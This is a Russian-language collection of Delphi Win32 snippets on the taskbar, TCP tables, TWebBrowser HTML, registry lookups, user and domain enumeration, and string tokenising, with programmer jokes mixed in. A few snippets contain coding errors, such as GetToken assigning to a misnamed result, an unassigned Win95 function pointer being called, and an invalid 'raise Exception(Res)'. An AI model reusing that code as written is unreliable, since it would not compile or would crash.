     ABE_RIGHT: ShowMessage('Right Position' + PosString);
     ABE_BOTTOM: ShowMessage('Bottom Position' + PosString);
   end;
 end;

Определить позицию панели задач 2.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

 {With FindWindow, GetWindowRect }
 type
   TTaskBarPos = (_TOP, _BOTTOM, _LEFT, _RIGHT, _NONE);
 function GetTaskBarPos: TTaskBarPos;
 var
   hTaskbar: HWND;
   T: TRect;
   scrW, scrH: integer;
 begin
   hTaskBar := FindWindow('Shell_TrayWnd', nil);
   if hTaskbar <> 0 then
   begin
     GetWindowRect(hTaskBar, T);
     ScrW := Screen.Width;
     ScrH := Screen.Height;
     if (T.Top > scrH div 2) and (T.Right >= scrW) then
       Result := _BOTTOM
     else if (T.Top < scrH div 2) and (T.Bottom <= scrW div 2) then
       Result := _TOP
     else if (T.Left < scrW div 2) and (T.Top <= 0) then
       Result := _LEFT
     else // the last "if" is not really needed 
    if T.Left >= ScrW div 2 then
       Result := _RIGHT;
   end;
 end;
 procedure TForm1.Button5Click(Sender: TObject);
 var
   TaskBarPos: TTaskBarPos;
 begin
   TaskBarPos := GetTaskBarPos;
   case TaskBarPos of
     _LEFT: ShowMessage('Left Position');
     _TOP: ShowMessage('Top Position');
     _RIGHT: ShowMessage('Right Position');
     _BOTTOM: ShowMessage('Bottom Position');
   end;
 end;

Получить дескриптор окна, которое владеет кнопками запущенных программ на панели задач.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  In this article, I wish to describe the useful undocumented function 
  GetTaskmanWindow. The GetTaskmanWindow function returns a handle to 
  the window that ownes the taskbar buttons. 
  Here is the quoting about taskbar from Microsoft MSDN: 
  "The Microsoft® Windows® interface includes a special application desktop 
  toolbar called the taskbar. 
  The taskbar can be used for such tasks as switching between open 
  windows and starting new applications..." 
  and "The taskbar includes the Start menu, taskbar buttons, 
  a shortcut menu, and a status area...". 
  Unfortunately, Win32 API doesn't contain documented 
  function that can be used for accessing to the 
  taskbar so we should again use an undocumented way. 
  Here is the prototype for GetTaskmanWindow: 
   function GetTaskmanWindow (): HWND; 
  As always, Microsoft doesn't provide us with the exports symbols 
  in the User32.lib for this function, so we should load them dynamically using the 
  GetProcAddress and GetModuleHandle functions: 
}
 // getaskmanwnd.cpp (Windows NT/2000) 
// 
// This example will show you how you can obtain a handle to the 
// Windows Taskbar window. 
// Translated from C to Delphi by Thomas Stutz 
// Original Code: 
// (c)1999 Ashot Oganesyan K, SmartLine, Inc 
// mailto:ashot@aha.ru, http://www.protect-me.com, http://www.codepile.com 
function TaskmanWindow: HWND;
 type
   TGetTaskmanWindow = function(): HWND; stdcall;
 var
   hUser32: THandle;
   GetTaskmanWindow: TGetTaskmanWindow;
 begin
   Result := 0;
   hUser32 := GetModuleHandle('user32.dll');
   if (hUser32 > 0) then
   begin
     @GetTaskmanWindow := GetProcAddress(hUser32, 'GetTaskmanWindow');
     if Assigned(GetTaskmanWindow) then
     begin
       Result := GetTaskmanWindow;
     end;
   end;
 end;
 procedure ShowTaskmanWindow(bValue: Boolean);
 var
   hTaskmanWindow: Hwnd;
 begin
   hTaskmanWindow := TaskmanWindow;
   if hTaskmanWindow <> 0 then
   begin
     ShowWindow(GetParent(hTaskmanWindow), Ord(bValue));
   end;
 end;
 // Example to Hide the Taskman Window 
procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShowTaskmanWindow(False);
 end;

Как оперделить все IP и порты на моем компьютере.

Автор: Spawn WEB-сайт: http://forum.vingrad.ru Функции GetTcpTable, GetUdpTable.

Импорт GetTcpTable:

unit TcpTable;
interface
type
  PDWord = ^Longword;
  PMIB_TCPROW = ^TMIB_TCPROW;
  TMIB_TCPROW = record
    dwState: LongWord;
    dwLocalAddr: LongWord;
    dwLocalPort: LongWord;
    dwRemoteAddr: LongWord;
    dwRemotePort: LongWord;
  end;
  PMIB_TCPTABLE = ^TMIB_TCPTABLE;
  TMIB_TCPTABLE = record
    dwNumEntries: LongWord;
    table: array[0..0] of TMIB_TCPROW;
  end;
function GetTcpTable(var TcpTable: PMIB_TCPTABLE;
  var Size: PDWord; bOrder: Boolean): LongWord; stdcall
implementation
function GetTcpTable; external 'Iphlpapi.dll' name 'GetTcpTable';
end.

Вызов GetTcpTable:

{$R-}
Entries := 16;
Sz := SizeOf(TMIB_TCPTABLE) + SizeOf(TMIB_TCPROW) * (Entries - 1);
pMibTable := nil;
try
  repeat
    ReallocMem(pMibTable, Sz);
    Res := GetTcpTable(pMibTable^, Sz, False);
  until Res <> ERROR_INSUFFICIENT_BUFFER;
  if Res <> NO_ERROR then
  begin
    ShowMessage(SysErrorMessage(Res));
    exit;
  end;
  for Entries := 0 to pMibTable.dwNumEntries - 1 do
  begin
    < Делать что - то >
  end;
finally
  FreeMem(pMibTable);
end;
{$R+}

Как получить текст HTML Документа из TWebBrowser без тегов.

Маленький мальчик к папе приходит: - Пап, как пишется "адрес", с одной "с" или двумя? - Напиши URL и иди ложись спать...
uses mshtml, activex;
procedure GetHtmlCode(WebBrowser: TWebBrowser; FileName: string);
var
 htmlDoc: IHtmlDocument2;
 PersistFile: IPersistFile;
begin
 htmlDoc := WebBrowser.document as IHtmlDocument2;
 PersistFile := HTMLDoc as IPersistFile;
 PersistFile.save(StringToOleStr(FileName), true);
end;

Как получить текст HTML Документа из TWebBrowser без тегов 2.

Автор: Фэ
Никто и никогда не видел столько порнографии, сколько видел браузер Internet Explorer.
var
  Document: IHTMLDocument2;
begin
 Document := WB.Document as IHtmlDocument2;
 if Document < >  nil then
   Memo1.Text := (Document.all.Item(NULL, 0) as IHTMLElement).OuterHTML;

Извлечение текста из TMemoField.

Автор: Steve Schafer

var
  P: PChar;
  S: TMemoryStream;
  Size: LongInt;
begin
  S := TMemoryStream.Create;
  MyMemoField.SaveToStream(S);
  Size := S.Position;
  GetMem(P, Size + 1);
  S.Position := 0;
  S.Read(P^, Size);
  P[Size] := #0;
  S.Free;
  { используем текст в PChar }
  FreeMem(P, Size + 1);
end;

Обнаружить, использует ли пользователь стиль XP или классический стиль.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function _IsThemeActive: Boolean;
 // Returns True if the user uses XP style 
const
   themelib = 'uxtheme.dll';
 type
   TIsThemeActive = function: BOOL; stdcall;
 var
   IsThemeActive: TIsThemeActive;
   huxtheme: HINST;
 begin
   Result := False;
   // Check if XP or later Version 
  if (Win32Platform  = VER_PLATFORM_WIN32_NT) and
      (((Win32MajorVersion = 5) and (Win32MinorVersion >= 1)) or
       (Win32MajorVersion > 5)) then
   begin
     huxtheme := LoadLibrary(themelib);
     if huxtheme <> 0 then
     begin
       try
         IsThemeActive := GetProcAddress(huxtheme, 'IsThemeActive');
         Result := IsThemeActive;
       finally
        if huxtheme > 0 then
           FreeLibrary(huxtheme);
       end;
     end;
   end;
 end;
 // Example Call: 
procedure TForm1.Button1Click(Sender: TObject);
 begin
  if _IsThemeActive then
    ShowMessage('Windows Themes are active.');
 end;

Как получить список часовых поясов.

Статьи по Delphi (009)…
- А какое сегодня число? - спросил уставший программист. Второй не задумываюсь отвечает: - Целое, положительное!
uses
  Registry;
...
var
  reg : TRegistry;
  ts : TStrings;
  i : integer;
begin
  reg := TRegistry.Create;
  reg.RootKey := HKEY_LOCAL_MACHINE;
  reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Time Zones', false);
  if reg.HasSubKeys then
  begin
    ts := TStringList.Create;
    reg.GetKeyNames(ts);
    reg.CloseKey;
    for i := 0 to ts.Count -1 do
    begin
      reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Time Zones\' + ts.Strings[i], false);
      Memo1.Lines.Add(ts.Strings[i]);
      Memo1.Lines.Add(reg.ReadString('Display'));
      Memo1.Lines.Add(reg.ReadString('Std'));
      Memo1.Lines.Add(reg.ReadString('Dlt'));
      Memo1.Lines.Add('----------------------');
      reg.CloseKey;
    end;
    ts.Free;
  end
  else
    reg.CloseKey;
  reg.free;
end;

Разбивка строки на слова.

Приведу несколько простых функций, позволяющих работать с отдельными словами в строке. Возможно они пригодятся вам для разбивки текстовых полей на отдельные слова (for i := 1 to NumToken do ...) с последующим сохранением их в базе данных.

function GetToken(aString, SepChar: string; TokenNum: Byte): string;
{
параметры: aString : полная строка
SepChar : единственный символ, служащий
разделителем между словами (подстроками)
TokenNum: номер требуемого слова (подстроки))
result    : искомое слово или пустая строка, если количество слов
меньше значения 'TokenNum'
}
var
  Token: string;
  StrLen: Byte;
  TNum: Byte;
  TEnd: Byte;
begin
  StrLen := Length(aString);
  TNum := 1;
  TEnd := StrLen;
  while ((TNum <= TokenNum) and (TEnd <> 0)) do
  begin
    TEnd := Pos(SepChar, aString);
    if TEnd <> 0 then
    begin
      Token := Copy(aString, 1, TEnd - 1);
      Delete(aString, 1, TEnd);
      Inc(TNum);
    end
    else
    begin
      Token := aString;
    end;
  end;
  if TNum >= TokenNum then
  begin
    GetToken1 := Token;
  end
  else
  begin
    GetToken1 := '';
  end;
end;
function NumToken(aString, SepChar: string): Byte;
{
parameters: aString : полная строка
SepChar : единственный символ, служащий
разделителем между словами (подстроками)
result    : количество найденных слов (подстрок)
}
var
  RChar: Char;
  StrLen: Byte;
  TNum: Byte;
  TEnd: Byte;
begin
  if SepChar = '#' then
  begin
    RChar := '*'
  end
  else
  begin
    RChar := '#'
  end;
  StrLen := Length(aString);
  TNum := 0;
  TEnd := StrLen;
  while TEnd <> 0 do
  begin
    Inc(TNum);
    TEnd := Pos(SepChar, aString);
    if TEnd <> 0 then
    begin
      aString[TEnd] := RChar;
    end;
  end;
  Result := TNum;
end;
// Или другое решение:
function CopyColumn(const s_string: string; c_fence: char;
  i_index: integer): string;
var
  i, i_left: integer;
begin
  result := EmptyStr;
  if i_index = 0 then
  begin
    exit;
  end;
  i_left := 0;
  for i := 1 to Length(s_string) do
  begin
    if s_string[i] = c_fence then
    begin
      Dec(i_index);
      if i_index = 0 then
      begin
        result := Copy(s_string, i_left + 1, i - i_left - 1);
        exit;
      end
      else
      begin
        i_left := i;
      end;
    end;
  end;
  Dec(i_index);
  if i_index = 0 then
  begin
    result := Copy(s_string, i_left + 1, Length(s_string));
  end;
end;

Я знаю что в GetToken параметр SepChar (в моем случае c_fence) строка, не символ, но комментарий гласит, что функция ожидает единственный символ в этой строке, и это очевидно, поскольку если вы пошлете более одного символа, функция попросту несработает. ( Delete(aString,1,TEnd) будет ошибкой, если Length( SepChar ) > 1 ).

Как получить весь размер системной памяти.

OS/2 - полуось PS/2 - ?!
function GetMemoryTotalPhys: DWord;
var
  memStatus: TMemoryStatus;
begin
  memStatus.dwLength := sizeOf (memStatus);
  GlobalMemoryStatus(memStatus);
  Result := memStatus.dwTotalPhys;
end;

Получить прозрачный цвет.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

interface
 {------------------------------------------------------------------------------}
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
 {------------------------------------------------------------------------------}
 //Hilfsfunktion zum Auslesen eines Bytes aus TColor 
//Value gibt die Farbe an 
//Shift gibt die Anzahl der zu schiebenden Bits an 
//Bsp: um aus Value=$00120000 das Rot-Byte auszulesen, muss Shift den Wert 16 haben 
//     ($12 wird dann zuruckgegeben 
function GetByte(Value : TColor; Shift : byte): byte;
   {------------------------------------------------------------------------------}
   //Hilfsprozedur zum Auslesen des Rot-,Grun- und Blauwertes aus TColor 
  //nutzt GetByte 
procedure ColorToRGB(Color : TColor; var R, G, B : byte);
   {------------------------------------------------------------------------------}
   //Hilfsfunckion zum Erstellen eines TColor aus Rot-,Grun- und Blauwerten 
function RGBToColor(R, G, B : byte): TColor;
   {------------------------------------------------------------------------------}
   //Eigentliche Transparenzfunktion, ermittelt die Transparenzfarbe des transparenten 
  //Vordergrunds, wenn Hintergrundfarbe=BGColor und Vordergrundfarbe=FRColor ist 
  //TranspValue gibt den Ganzzahligen Prozentsatz des Transparenzwertes an 
function TransparencyColor(BGColor, FRColor : TColor; TranspValue : byte): TColor;
   {------------------------------------------------------------------------------}
 implementation
 function GetByte(Value : TColor; Shift : byte): byte;
 begin
   Result := (Value and ($FF shl Shift)) shr Shift;
   //Byte an entsprechender Stelle maskieren und dann nach Rechts verschieben 
end;
 {------------------------------------------------------------------------------}
 procedure ColorToRGB(Color : TColor; var R, G, B : byte);
 begin
   R := GetByte(Color, 16); //zweites Byte aus Color (v.R.) 
  G := GetByte(Color, 8);  //drittes Byte aus Color (v.R.) 
  B := GetByte(Color, 0);  //viertes Byte aus Color (v.R.) 
end;
 {------------------------------------------------------------------------------}
 function RGBToColor(R, G, B : byte): TColor;
 begin
   Result := ((R and $FF) shl 16) +
     ((G and $FF) shl 8) + (B and $FF);
 end;
 {------------------------------------------------------------------------------}
 function TransparencyColor(BGColor, FRColor : TColor; TranspValue : byte): TColor;
 var
    BGR, BGG, BGB, FRR, FRG, FRB, ergR, ergG, ergB : byte;
   TrFact : real;
 begin
   //Transparenzfaktor errechnen 
  TrFact := TranspValue / 100;
   //Hinter- und Vordergrundfarbe in Rot-,Grun- und Blauwerte splitten 
  ColorToRGB(BGColor, BGR, BGG, BGB);
   ColorToRGB(FRColor, FRR, FRG, FRB);
   //Ergebnisfarbwerte errechnen 
  ergR := byte(Trunc(BGR * TrFact + FRR * (1 - TrFact)));
   ergG := byte(Trunc(BGG * TrFact + FRG * (1 - TrFact)));
   ergB := byte(Trunc(BGB * TrFact + FRB * (1 - TrFact)));
   //Rot-,Grun- und Blauwert zu TColor und zuruckgeben 
  Result := RGBToColor(ErgR, ergG, ergB);
 end;
 {------------------------------------------------------------------------------}

Функция, возвращающая тип.

// функция Chameleon, возвращающая тип сгенерированного исключения
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;
type
  MyBoolean = class
  public
    Value: boolean;
  end;
  MyInteger = class
  public
    Value: integer;
  end;
  MyClass = class
  public
    Value: TStrings;
  end;
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    procedure MyProc;
    function Chameleon: boolean;
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
function TForm1.Chameleon: boolean;
var
  b: MyBoolean;
  i: MyInteger;
  c: MyClass;
  r: integer;
begin
  r := Random(3);
  case r of
    0:
      begin
        b := MyBoolean.Create;
        raise b;
      end;
    1:
      begin
        i := MyInteger.Create;
        raise i;
      end;
    2:
      begin
        c := MyClass.Create;
        raise c;
      end;
  end;
end;
procedure TForm1.MyProc;
begin
  try
    Chameleon;
  except
    on MyBoolean do
      ShowMessage('Функция возвратила класс MyBoolean');
    on MyInteger do
      ShowMessage('Функция возвратила класс MyInteger');
    on MyClass do
      ShowMessage('Функция возвратила класс MyClass');
  end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  Chameleon;
end;
end.

Взгляните на тип данных Variant в D2: следующий код.

function AnyType(const TypeParm: integer): Variant;
begin
  case TypeParm of
    1: Result := 1;
    2: Result := 2.0;
    3: Result := 'Три';
    4: Result := StrToDate('4/4/1944');
  end;
end;
абсолютно бестолковый, но полностью корректный! Следующий код содержит объявление трех функций, принимающих на входе один и тот же параметр, но выдающих результаты различных типов (результат физичиски один и тот же, и занимает он 4 байта). Я не думаю, что можно одурачить delphi, чтобы с помощью этого метода возвратить строку. Это может привести к разрушению менеджера кучи. Вместо этого вызывайте необходимую вам функцию. Каждый вызов передается MyFuncRetAnything, а P1 определяет возвращаемый тип. Если хотите, можете написать другую обертку, делающую для вас еще и приведение типов. 3 вызова, 1 код.

Я понимаю, что это в действительности не то, что нужно, по я просто хотел продемонстрировать другой способ. (вы можете возвращать строки как тип PChar, который также занимает 4 байта). Вы должны использовать некоторую память, распределяемую вызовом процедуры (может быть передавать результаты как P2?).

{моя форма имеет 3 метки, одну кнопку и этот код}
var
  MyFuncRetInt: function(P1, P2: Integer): Integer;
  MyFuncRetBool: function(P1, P2: Integer): LongBool;
  MyFuncRetPointer: function(P1, P2: Integer): Pointer;
function MyFuncRetAnything(P1, P2: Integer): Integer;
var
  RetPointer: Pointer;
  RetBool: LongBool;
  RetInteger: Integer;
begin
  RetPointer := nil;
  RetBool := False;
  RetInteger := 4711;
  case P1 of
    1: Result := Integer(RetPointer);
    2: Result := Integer(RetBool);
    3: Result := RetInteger;
  end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  if MyFuncRetBool(2, 1900) then
    Label1.Caption := 'True'
  else
    Label1.Caption := 'False';
  Label2.Caption := IntToStr(MyFuncRetInt(3, 1900));
  Label3.Caption := IntToHex(Integer(MyFuncRetPointer(1, 1900)), 16);
end;
initialization
  MyFuncRetInt := @MyFuncRetAnything;
  MyFuncRetBool := @MyFuncRetAnything;
  MyFuncRetPointer := @MyFuncRetAnything;
end.

Получить список зарегистрированных Win32 модулей и их версий.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

 { The registered Win32 type libraries/modules are registered with a 
  version number in the registry. 
  But it's possible that one modlue has more than one version. 
  The recursive function "RecurseWin32" searches from a certain path 
  for all occurences of the searched key. 
  For instance, I get the following entries for 
  "Visual Basic For Applications" on my system: 
  000204F3-0000-0000-C000-000000000046   \ 1.0 \  7  \ win32 
  "c:\\WINDOWS\\SYSTEM\\vbade32.olb" 
  000204F3-0000-0000-C000-000000000046   \ 1.0 \  9  \ win32 
  "c:\\WINDOWS\\SYSTEM\\VBAEN32.OLB" 
}
 { Die installierten bzw. registrierten Win32 TypeLibs bzw. "Modulen" 
  mussen sich mit einer Versionsnummer in der registry eintragen. 
  Zu einem bestimmten "Modul" konnen aber mehrere Versionen in der 
  Registry eingetragen sein. 
  Welche? 
  Kernstuck ist die rekursive Function "RecurseWin32", die ab einem 
  bestimmten Pfad nach jedem Vorkommen des gesuchten Schlussels sucht... 
  Zum Beispiel ermmittelt es auf meinem System entsprechend folgendes zum 
  Eintrag "Visual Basic For Applications" 
  000204F3-0000-0000-C000-000000000046   \ 1.0 \  7  \ win32 
  "c:\\WINDOWS\\SYSTEM\\vbade32.olb" 
  000204F3-0000-0000-C000-000000000046   \ 1.0 \  9  \ win32 
  "c:\\WINDOWS\\SYSTEM\\VBAEN32.OLB" 
  Diese Technik la?t sich ubrigens an weiteren Bedurfnisse anpassen... 
}
 {It's a recursiv one :-}
 function RecurseWin32(const R: TRegistry; const ThePath: string;
   const TheKey: string): string;
 var
   TheList: TStringList;
   i: Integer;
   LP: string;
   OnceUponATime: string;
 begin
   Result  := '-';
   TheList := TStringList.Create;
   try
     R.OpenKey(ThePath, False);
     R.GetKeyNames(TheList);
     R.CloseKey;
     if TheList.Count = 0 then Exit;
     for i := 0 to TheList.Count - 1 do with TheList do
        begin
         LP := ThePath + '\' + TheList[i];
         if CompareText(Strings[i], TheKey) = 0 then
          begin
           Result := LP;
           Break;
         end;
         OnceUponATime := RecurseWin32(R, LP, TheKey);
         if OnceUponATime <> '-' then
          begin
           Result := OnceUponATime;
           Break;
         end;
       end;
   finally
     TheList.Clear;
     TheList.Free;
   end;
 end;
 { Create the output list: you may change the format as you need ...}
 function GetWin32TypeLibList(var Lines: TStringList): Boolean;
 var
    R: TRegistry;
   W32: string;
   i, j, TheIntValue, TheSizeOfTheIntValue: Integer;
   TheSearchedValue, TheSearchedValueString: string;
   TheVersionList, TheKeyList: TStringList;
   TheBasisKey: string;
 begin
   Result := True;
   try
     try
       R          := TRegistry.Create;
       TheVersionList := TStringList.Create;
       TheKeyList := TStringList.Create;
       R.RootKey := HKEY_CLASSES_ROOT;
       R.OpenKey('TypeLib', False);
       TheBasisKey := R.CurrentPath;
       (* Basis Informations *)
       case R.GetDataType('') of
         rdUnknown: ShowMessage('Nothing ???');
         rdExpandString, rdString: TheSearchedValueString := R.ReadString('');
         rdInteger: TheIntValue         := R.ReadInteger('');
         rdBinary: TheSizeOfTheIntValue := R.GetDataSize('');
       end;
       (* Build the List of Keys *)
       R.GetKeyNames(TheKeyList);
       R.CloseKey;
       ShowMessage(TheKeyList.Strings[1]);
       for i := 0 to TheKeyList.Count - 1 do
          (* Loop around the typelib entries)
          (* Schleife um die TypeLib Eintrage *)
         with TheKeyList do
           if Length(Strings[i]) > 0 then
            begin
             R.OpenKey(TheBasisKey + '\' + Strings[i], False);
             TheVersionList.Clear;
             R.GetKeyNames(TheVersionList);
             R.CloseKey;
             (* Find "Win32" for each version *)
             (* Finde der "win32" fur jede VersionVersion:*)
             for j := 0 to TheVersionList.Count - 1 do
               if Length(TheVersionList.Strings[j]) > 0 then
                begin
                 W32 := RecurseWin32(R, TheBasisKey + '\' +
                   Strings[i] + '\' +
                   TheVersionList.Strings[j],
                   'Win32');
                 if W32 <> '-' then
                  begin
                   Lines.Add(W32);
                   R.OpenKey(W32, False);
                   case R.GetDataType('') of
                     rdExpandString,
                     rdString: TheSearchedValue := R.ReadString('');
                     else
                       TheSearchedValue := 'Nothing !!!';
                   end;
                   R.CloseKey;
                   Lines.Add('-----> ' + TheSearchedValue);
                 end;
               end;
           end;
     finally
       TheVersionList.Free;
       TheKeyList.Free;
     end;
   except
     Result := False;
   end;
 end;
 { Example of use / Anwendungsbeispiel }
 procedure TForm1.Button1Click(Sender: TObject);
 var
   L: TStringList;
 begin
   L := TStringList.Create;
   GetWin32TypeLibList(L);
   Memo1.Lines.Assign(L);
   L.Free;
 end;

Определить доменное имя, в которое зашел пользователь.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function GetDomainName: AnsiString;
 type
  WKSTA_INFO_100 = record
    wki100_platform_id: Integer;
    wki100_computername: PWideChar;
    wki100_langroup: PWideChar;
    wki100_ver_major: Integer;
    wki100_ver_minor: Integer;
  end;
  WKSTA_USER_INFO_1 = record
    wkui1_username: PChar;
    wkui1_logon_domain: PChar;
    wkui1_logon_server: PChar;
    wkui1_oth_domains: PChar;
  end;
 type
  //Win9X ANSI prototypes from RADMIN32.DLL and RLOCAL32.DLL 
 TWin95_NetUserGetInfo = function(ServerName, UserName: PChar; Level: DWORD; var
    BfrPtr: Pointer): Integer;
  stdcall;
  TWin95_NetApiBufferFree = function(BufPtr: Pointer): Integer;
  stdcall;
  TWin95_NetWkstaUserGetInfo = function(Reserved: PChar; Level: Integer; var
    BufPtr: Pointer): Integer;
  stdcall;
  //WinNT UNICODE equivalents from NETAPI32.DLL 
 TWinNT_NetWkstaGetInfo = function(ServerName: PWideChar; level: Integer; var
    BufPtr: Pointer): Integer;
  stdcall;
  TWinNT_NetApiBufferFree = function(BufPtr: Pointer): Integer;
  stdcall;
  function IsWinNT: Boolean;
  var
    VersionInfo: TOSVersionInfo;
  begin
    VersionInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
    Result := GetVersionEx(VersionInfo);
    if Result then
      Result := VersionInfo.dwPlatformID = VER_PLATFORM_WIN32_NT;
  end;
 var
  Win95_NetUserGetInfo: TWin95_NetUserGetInfo;
  Win95_NetWkstaUserGetInfo: TWin95_NetWkstaUserGetInfo;
  Win95_NetApiBufferFree: TWin95_NetApiBufferFree;
  WinNT_NetWkstaGetInfo: TWinNT_NetWkstaGetInfo;
  WinNT_NetApiBufferFree: TWinNT_NetApiBufferFree;
  WSNT: ^WKSTA_INFO_100;
  WS95: ^WKSTA_USER_INFO_1;
  EC: DWORD;
  hNETAPI: THandle;
 begin
  try
    Result := '';
    if IsWinNT then
    begin
      hNETAPI := LoadLibrary('NETAPI32.DLL');
      if hNETAPI <> 0 then
      begin @WinNT_NetWkstaGetInfo := GetProcAddress(hNETAPI, 'NetWkstaGetInfo');
          @WinNT_NetApiBufferFree  := GetProcAddress(hNETAPI, 'NetApiBufferFree');
        EC := WinNT_NetWkstaGetInfo(nil, 100, Pointer(WSNT));
        if EC = 0 then
        begin
          Result := WideCharToString(WSNT^.wki100_langroup);
          WinNT_NetApiBufferFree(Pointer(WSNT));
        end;
      end;
    end
    else
    begin
      hNETAPI := LoadLibrary('RADMIN32.DLL');
      if hNETAPI <> 0 then
      begin @Win95_NetApiBufferFree := GetProcAddress(hNETAPI, 'NetApiBufferFree');
          @Win95_NetUserGetInfo := GetProcAddress(hNETAPI, 'NetUserGetInfoA');
        EC := Win95_NetWkstaUserGetInfo(nil, 1, Pointer(WS95));
        if EC = 0 then
        begin
          Result := WS95^.wkui1_logon_domain;
          Win95_NetApiBufferFree(Pointer(WS95));
        end;
      end;
    end;
  finally
    if hNETAPI <> 0 then
      FreeLibrary(hNETAPI);
  end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
  ShowMessage(GetDomainName);
 end;

Получить список пользователей.

Статьи по Delphi (009)…

Автор: Кондратюк Виталий
Нас Reboot, а мы крепчаем.

GetLocalUserList - возвращает список пользователей (Windows NT, Windows 2000).

unit Func;
interface
uses Sysutils, Classes, Stdctrls, Comctrls, Graphics, Windows;
////////////////////////////////////////////////////////////////////////////////
{$EXTERNALSYM NetUserEnum}
function NetUserEnum(servername: LPWSTR;
  level,
  filter: DWORD;
  bufptr: Pointer;
  prefmaxlen: DWORD;
  entriesread,
  totalentries,
  resume_handle: LPDWORD): DWORD; stdcall;
external 'NetApi32.dll' Name 'NetUserEnum';
function NetApiBufferFree(Buffer: Pointer {LPVOID}): DWORD; stdcall;
external 'NetApi32.dll' Name 'NetApiBufferFree';
////////////////////////////////////////////////////////////////////////////////
procedure GetLocalUserList(ulist: TStringList);
implementation
//------------------------------------------------------------------------------
// возвращает список пользователей локального хоста
//------------------------------------------------------------------------------
procedure GetLocalUserList(ulist: TStringList);
const
  NERR_SUCCESS = 0;
  FILTER_TEMP_DUPLICATE_ACCOUNT = $0001;
  FILTER_NORMAL_ACCOUNT = $0002;
  FILTER_PROXY_ACCOUNT = $0004;
  FILTER_INTERDOMAIN_TRUST_ACCOUNT = $0008;
  FILTER_WORKSTATION_TRUST_ACCOUNT = $0010;
  FILTER_SERVER_TRUST_ACCOUNT = $0020;
type
  TUSER_INFO_10 = record
    usri10_name,
      usri10_comment,
      usri10_usr_comment,
      usri10_full_name: PWideChar;
  end;
  PUSER_INFO_10 = ^TUSER_INFO_10;
var
  dwERead, dwETotal, dwRes, res: DWORD;
  inf: PUSER_INFO_10;
  info: Pointer;
  p: PChar;
  i: Integer;
begin
  if ulist = nil then
    Exit;
  ulist.Clear;
  info := nil;
  dwRes := 0;
  res := NetUserEnum(nil,
    10,
    FILTER_NORMAL_ACCOUNT,
    @info,
    65536,
    @dwERead,
    @dwETotal,
    @dwRes);
  if (res <> NERR_SUCCESS) or (info = nil) then
    Exit;
  p := PChar(info);
  for i := 0 to dwERead - 1 do
  begin
    inf := PUSER_INFO_10(p + i * SizeOf(TUSER_INFO_10));
    ulist.Add(WideCharToString(PWideChar((inf^).usri10_name)));
  end;
  NetApiBufferFree(info);
end;
end.

Получить список пользователей, подключённых к сети.

Статьи по Delphi (009)…
Корпорации IBM срочно требуется ламер для организации и проведения увеселительных мероприятий.
unit NetUtils;
interface
uses
  Windows, Classes;
function GetContainerList(ListRoot:PNetResource):TList;
type
  {$H+}
  PNetRes = ^TNetRes;
  TNetRes = record
    dwScope : Integer;
    dwType : Integer;
    dwDisplayType : Integer;
    dwUsage : Integer;
    LocalName : string;
    RemoteName : string;
    Comment : string;
    Provider : string;
  end;
  {H-}
implementation
uses SysUtils;
type
  PnetResourceArr = ^TNetResource;
function GetContainerList(ListRoot:PNetResource):TList;
{возвращает список сетевых имён с подуровня ListRoot, каждый
элемент списка TList - это PNetRec, где поле RemoteName определяет
соответственно сетевое имя элемента списка. Если ListRoot=nil, то
возвращается самый верхний уровень типа:
1. Microsoft Windows Network
2. Novell Netware Network
Чтобы получить список доменов сети Microsoft, нужно вызвать эту
функцию второй раз, передав ей в качестве параметра,
соответствующий элемент списка, полученного при первом её вызове.
Чтобы получить список компьютеров домена - вызвать третий раз...}
var
  TempRec : PNetRes;
  Buf : Pointer;
  Count,
  BufSize,
  Res : DWORD;
  lphEnum : THandle;
  p : PNetResourceArr;
  i : SmallInt;
  NetworkList : TList;
begin
  NetworkList := TList.Create;
  Result:=nil;
  BufSize := 8192;
  GetMem(Buf, BufSize);
  try
    Res := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
    RESOURCEUSAGE_CONTAINER{0}, ListRoot,lphEnum);
    {в результате получаем ссылку lphEnum}
    if Res <> 0 then
      raise Exception(Res);
    Count := $FFFFFFFF; {требуем выдать столько записей в список, сколько есть}
    Res := WNetEnumResource(lphEnum, Count, Buf, BufSize);
    {в буфере Buf - списочек в виде массива указателей на структуры
    типа TNetResourceArr, а в Count - число этих структур}
    if Res = ERROR_NO_MORE_ITEMS then
      Exit;
    if (Res <> 0) then
      raise Exception(Res);
    P := PNetResourceArr(Buf);
    for I := 0 to Count - 1 do
    begin
      // Требуется копирование из буфера, так как он
      // действителен только до следующего вызова функций группы WNet
      New(TempRec);
      TempRec^.dwScope := P^.dwScope;
      TempRec^.dwType := P^.dwType ;
      TempRec^.dwDisplayType := P^.dwDisplayType ;
      TempRec^.dwUsage := P^.dwUsage ;
      {имеются ввиду вот эти указатели}
      TempRec^.LocalName := StrPas(P^.lpLocalName);
      {в смысле - строки PChar}
      TempRec^.RemoteName := StrPas(P^.lpRemoteName);
      TempRec^.Comment := StrPas(P^.lpComment);
      TempRec^.Provider := StrPas(P^.lpProvider);
      NetworkList.Add(TempRec);
      Inc(P);
    end;
    Res := WNetCloseEnum(lphEnum);
    {а следующий вызов - вот он!}
    if Res <> 0 then
      raise Exception(Res);
    Result:=NetWorkList;
  finally
    FreeMem(Buf);
  end;
end;
end.

Пример получения имени пользователя и домена под которым работает текущий поток или процесс.

